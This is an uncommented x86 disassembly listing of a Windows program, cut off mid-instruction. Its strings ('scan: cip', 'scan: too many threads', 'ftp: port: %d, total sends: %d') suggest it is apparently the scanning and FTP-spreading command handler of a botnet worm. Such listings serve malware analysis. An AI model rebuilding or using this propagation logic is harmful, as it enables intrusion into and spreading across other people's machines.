sub_421FF0 proc near ; CODE XREF: sub_40206Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_421FF0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422010 proc near ; CODE XREF: sub_4010F5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422010 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422030 proc near ; CODE XREF: sub_4019FBj mov eax, ecx retn sub_422030 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422050 proc near ; CODE XREF: sub_401EDDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401523 mov eax, esi pop esi retn 4 sub_422050 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422080 proc near ; CODE XREF: sub_40201Dj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_422080 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4220B0 proc near ; CODE XREF: sub_401BC2j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4018F7 mov edi, eax push edi call sub_4010EB mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401212 sub_4220B0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4010EB push edi mov [eax], ebx call sub_4010EB mov edi, [eax] push edi call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_40108C add esp, 4 mov ecx, esi push eax call sub_4013E8 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D89 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422150 proc near ; CODE XREF: sub_40100Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jz short loc_4221AA loc_422168: ; CODE XREF: sub_422150+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4019BA mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401B90 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jnz short loc_422168 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4221AA: ; CODE XREF: sub_422150+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_422150 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4221E0 proc near ; CODE XREF: sub_401212j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 20h call sub_4020DB sub_4221E0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_4221F5 mov edi, esi loc_4221F5: ; CODE XREF: ___:004221F1j push esi call sub_40110E mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_42220A mov edi, esi loc_42220A: ; CODE XREF: ___:00422206j push esi call sub_4010EB add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422230 proc near ; CODE XREF: sub_4021DAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4018F2 sub_422230 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422250 proc near ; CODE XREF: sub_40110Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_422250 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422270 proc near ; CODE XREF: sub_40108Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422270 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422290 proc near ; CODE XREF: sub_4011A9j mov eax, ecx retn sub_422290 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4222B0 proc near ; CODE XREF: sub_401D89j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4018FC mov eax, esi pop esi retn 4 sub_4222B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4222E0 proc near ; CODE XREF: sub_401D5Cj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4222E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422310 proc near ; CODE XREF: sub_401E5Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401A3C add esp, 8 retn 8 sub_422310 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422340 proc near ; CODE XREF: sub_401A2Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4020D6 mov ecx, eax call sub_4010C8 mov esi, eax push esi call sub_40206D push esi mov ebx, eax call sub_401D07 mov ecx, [eax] push ecx call sub_40206D mov edx, [ebx] push esi mov [eax], edx call sub_401D07 push esi mov ebx, eax call sub_40206D mov eax, [eax] push eax call sub_401D07 mov ecx, [ebx] push esi mov [eax], ecx call sub_4010F5 add esp, 1Ch mov ecx, edi push eax call sub_40163B push esi mov ecx, edi call sub_401956 sub_422340 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422400 proc near ; CODE XREF: sub_401D07j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_422400 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422420 proc near ; CODE XREF: sub_401E0Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_422420 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422450 proc near ; CODE XREF: sub_401550j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_422450 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422470 proc near ; CODE XREF: sub_4017F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40203B add esp, 8 retn 8 sub_422470 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224A0 proc near ; CODE XREF: sub_401523j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4224A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224C0 proc near ; CODE XREF: sub_4010C8j mov eax, [ecx] retn sub_4224C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224E0 proc near ; CODE XREF: sub_4020D6j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40107D mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4224E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422510 proc near ; CODE XREF: sub_401B90j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4019BA mov ecx, eax call sub_4018F7 mov esi, eax push esi call sub_40110E push esi mov ebx, eax call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [ebx] push esi mov [eax], edx call sub_4010EB push esi mov ebx, eax call sub_40110E mov eax, [eax] push eax call sub_4010EB mov ecx, [ebx] push esi mov [eax], ecx call sub_40108C add esp, 1Ch mov ecx, edi push eax call sub_401E7E push esi mov ecx, edi call sub_4021DA sub_422510 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225D0 proc near ; CODE XREF: sub_4010EBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4225D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4225F0 proc near ; CODE XREF: sub_4020DBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_4225F0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422620 proc near ; CODE XREF: sub_4018F2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_422620 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422640 proc near ; CODE XREF: sub_4013E8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401EF1 add esp, 8 retn 8 sub_422640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422670 proc near ; CODE XREF: sub_4018FCj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_422670 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422690 proc near ; CODE XREF: sub_4018F7j mov eax, [ecx] retn sub_422690 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226B0 proc near ; CODE XREF: sub_4019BAj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401839 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4226B0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226E0 proc near ; CODE XREF: sub_40163Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401A8C pop ecx retn 4 sub_4226E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422700 proc near ; CODE XREF: sub_401E7Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FB9 pop ecx retn 4 sub_422700 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422720 proc near ; CODE XREF: sub_401A3Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_42273B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_42273B: ; CODE XREF: sub_422720+11j retn sub_422720 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422750 proc near ; CODE XREF: sub_40203Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_422750 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 19h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422791 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_401681 loc_422791: ; CODE XREF: sub_422750+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_422750 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4227E0 proc near ; CODE XREF: sub_401EF1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4227E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 15h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422821 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_4014D3 loc_422821: ; CODE XREF: sub_4227E0+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_4227E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422850 proc near ; CODE XREF: sub_401A8Cj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 call sub_4019C9 retn sub_422850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422870 proc near ; CODE XREF: sub_401FB9j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 mov eax, [ecx] call dword ptr [eax] retn sub_422870 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422890 proc near ; CODE XREF: sub_401681j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push edi call sub_4014D3 mov eax, [edi+15h] pop edi mov [esi+15h], eax mov eax, esi pop esi retn 4 sub_422890 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4228C0 proc near ; CODE XREF: sub_4019C9j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A82 test [esp+4+arg_0], 1 jz short loc_4228D8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4228D8: ; CODE XREF: sub_4228C0+Dj mov eax, esi pop esi retn 4 sub_4228C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4228F0 proc near ; CODE XREF: sub_401AF5j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4228F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 9 push 3 push 4Fh push 16h push 4 lea eax, [esp+60h+var_3C] push 1 mov esi, ecx push eax mov dword_4D7F8B, offset aAsn ; "asn" call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+8D008h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_4228F0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 14h push 12h push 1 push 14h push 13h push 4Fh push 16h push 4 lea edx, [esp+2Ch] push 1 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+8D036h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 0Eh push 1 push 3 lea ecx, [esp+2Ch] push 13h push ecx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+8D064h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 16h push 4 lea eax, [esp+2Ch] push 1 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+8D092h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 10h push 14h lea edx, [esp+44h] push 6 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 8D0C0h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422B40 proc near ; CODE XREF: sub_40138Ej var_78D = byte ptr -78Dh var_78C = dword ptr -78Ch var_788 = byte ptr -788h var_780 = dword ptr -780h var_770 = byte ptr -770h var_760 = byte ptr -760h var_6E0 = byte ptr -6E0h var_660 = dword ptr -660h var_65C = dword ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_644 = dword ptr -644h var_640 = dword ptr -640h var_638 = dword ptr -638h var_634 = dword ptr -634h var_630 = dword ptr -630h var_624 = byte ptr -624h var_60C = byte ptr -60Ch var_40C = byte ptr -40Ch var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_422B40 push eax mov large fs:0, esp sub esp, 784h push ebx push ebp push esi mov esi, [esp+79Ch+arg_0] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+8D008h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422C0A push 3 call sub_40148D add esp, 4 test eax, eax jle short loc_422BDD push 3 call sub_401DA2 mov eax, dword_50DB50[eax*8] add esp, 4 push eax nop call near ptr 71AB3F41h push eax push offset aScanCipS ; "scan: cip (%s)" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 18h mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422BDD: ; CODE XREF: sub_422B40+52j lea ecx, [esi+2Ah] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push offset aScanNotStarted ; "scan: not started" push edx push eax mov ecx, offset byte_4D8075 call sub_401118 mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422C0A: ; CODE XREF: sub_422B40+40j lea ecx, [ebp+8D0C0h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422CB0 mov edi, dword_4D8370 push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 0 call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+7A0h+var_788] mov ebx, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 cmp edi, ebx jl loc_4232BD mov edx, dword_44964F push edi push edx push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 1Ch mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422CB0: ; CODE XREF: sub_422B40+DFj lea ecx, [ebp+8D064h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_422D30 push eax push 3 call sub_401DA7 add esp, 8 test eax, eax jle short loc_422D05 push eax push offset aScanStoppedDTh ; "scan: stopped (%d threads)" lea ecx, [esi+2Ah] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h jmp loc_422F39 ; --------------------------------------------------------------------------- loc_422D05: ; CODE XREF: sub_422B40+194j lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aScanCouldnTSto ; "scan: couldn't stop" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_422F39 ; --------------------------------------------------------------------------- loc_422D30: ; CODE XREF: sub_422B40+185j lea ecx, [ebp+8D036h] call sub_4014DD push eax mov ecx, edi call sub_4012EE mov edi, dword_511B14 test eax, eax jnz loc_422DDE push 3 call sub_40148D add esp, 4 mov ebx, eax lea eax, [esp+7A0h+var_788] mov ecx, esi push offset asc_444600 ; " " push 2 push eax call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 1 call sub_4017EE push eax call edi ; atoi add eax, ebx add esp, 4 cmp eax, 1F4h lea ecx, [esp+7A0h+var_788] setnle [esp+7A0h+var_78D] mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov al, [esp+7A0h+var_78D] test al, al jz loc_422F56 push ebx push offset aScanTooManyThr ; "scan: too many threads (%s)" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h loc_422DDE: ; CODE XREF: sub_422B40+20Bj lea ecx, [ebp+8D092h] call sub_4014DD push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_422F39 push offset asc_444600 ; " " lea eax, [esp+7A4h+var_624] push 1 push eax mov ecx, esi xor ebx, ebx call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 0Ah call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_624] mov edi, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov eax, dword_445418 mov [esp+7A0h+var_78D], bl test eax, eax jz short loc_422E69 mov eax, offset dword_445418 loc_422E55: ; CODE XREF: sub_422B40+327j cmp [eax+8], edi jb short loc_422E5F mov [esp+7A0h+var_78D], 1 loc_422E5F: ; CODE XREF: sub_422B40+318j mov ecx, [eax+3Ch] add eax, 3Ch test ecx, ecx jnz short loc_422E55 loc_422E69: ; CODE XREF: sub_422B40+30Ej mov ebp, off_511C00 lea ecx, [esp+7A0h+var_60C] push offset aScanStats ; "scan: stats:" push ecx call ebp ; sub_5F76F7 mov eax, dword_445418 add esp, 8 test eax, eax jz short loc_422ECF mov edi, offset dword_445420 loc_422E8F: ; CODE XREF: sub_422B40+38Dj mov eax, [edi] lea edx, [edi-26h] add ebx, eax push eax push edx lea eax, [esp+7A8h+var_40C] push offset aSD ; " %s: %d," push eax call ebp ; sub_5F76F7 lea ecx, [esp+7B0h+var_40C] push 200h lea edx, [esp+7B4h+var_60C] push ecx push edx nop call near ptr 77C47920h mov eax, [edi+34h] add edi, 3Ch add esp, 1Ch test eax, eax jnz short loc_422E8F loc_422ECF: ; CODE XREF: sub_422B40+348j push ebx lea eax, [esp+7A4h+var_40C] push offset aTotalD ; " total: %d" push eax call ebp ; sub_5F76F7 lea ecx, [esp+7ACh+var_40C] push 200h lea edx, [esp+7B0h+var_60C] push ecx push edx call near ptr 77C47920h nop mov al, [esp+7B8h+var_78D] add esp, 18h test al, al jz short loc_422F29 xor eax, eax lea ecx, [esp+7A0h+var_60C] mov al, [esi+94h] push eax push ecx lea ecx, [esi+2Ah] call sub_4014DD push eax push 0 call sub_40152D add esp, 10h loc_422F29: ; CODE XREF: sub_422B40+3C3j lea edx, [esp+7A0h+var_60C] push edx call sub_4010D2 add esp, 4 loc_422F39: ; CODE XREF: sub_422B40+1C0j ; sub_422B40+1EBj ... xor al, al loc_422F3B: ; CODE XREF: sub_422B40+98j ; sub_422B40+C5j ... mov ecx, [esp+7A0h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 790h retn 4 ; --------------------------------------------------------------------------- loc_422F56: ; CODE XREF: sub_422B40+26Ej push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 2 call sub_4017EE push eax call edi ; atoi or ebx, 0FFFFFFFFh add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_65C], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 2 push ecx mov ecx, esi call sub_4016B8 mov ebp, 3 mov ecx, eax mov [esp+7A0h+var_4], ebp call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_644], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push ebp push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 4 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_658], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov eax, [esp+7A0h+var_658] cmp eax, ebp jnb short loc_423033 mov [esp+7A0h+var_658], ebp jmp short loc_423043 ; --------------------------------------------------------------------------- loc_423033: ; CODE XREF: sub_422B40+4E8j cmp eax, 3Ch jbe short loc_423043 mov [esp+7A0h+var_658], 3Ch loc_423043: ; CODE XREF: sub_422B40+4F1j ; sub_422B40+4F6j push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 5 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_654], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov ecx, [esp+7A0h+var_654] mov eax, 960h cmp ecx, eax jbe short loc_42309C mov [esp+7A0h+var_654], eax loc_42309C: ; CODE XREF: sub_422B40+553j mov eax, dword_445418 mov [esp+7A0h+var_640], ebx test eax, eax mov [esp+7A0h+var_78C], 0 jz loc_42316C mov ebp, offset dword_445418 jmp short loc_4230C2 ; --------------------------------------------------------------------------- loc_4230BF: ; CODE XREF: sub_422B40+602j or ebx, 0FFFFFFFFh loc_4230C2: ; CODE XREF: sub_422B40+57Dj push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 6 call sub_4017EE mov edi, eax lea ecx, [ebp-28h] loc_4230EC: ; CODE XREF: sub_422B40+5CAj mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_423110 test al, al jz short loc_42310C mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_423110 add ecx, 2 add edi, 2 test al, al jnz short loc_4230EC loc_42310C: ; CODE XREF: sub_422B40+5B6j xor eax, eax jmp short loc_423114 ; --------------------------------------------------------------------------- loc_423110: ; CODE XREF: sub_422B40+5B2j ; sub_422B40+5C0j sbb eax, eax sbb eax, ebx loc_423114: ; CODE XREF: sub_422B40+5CEj test eax, eax lea ecx, 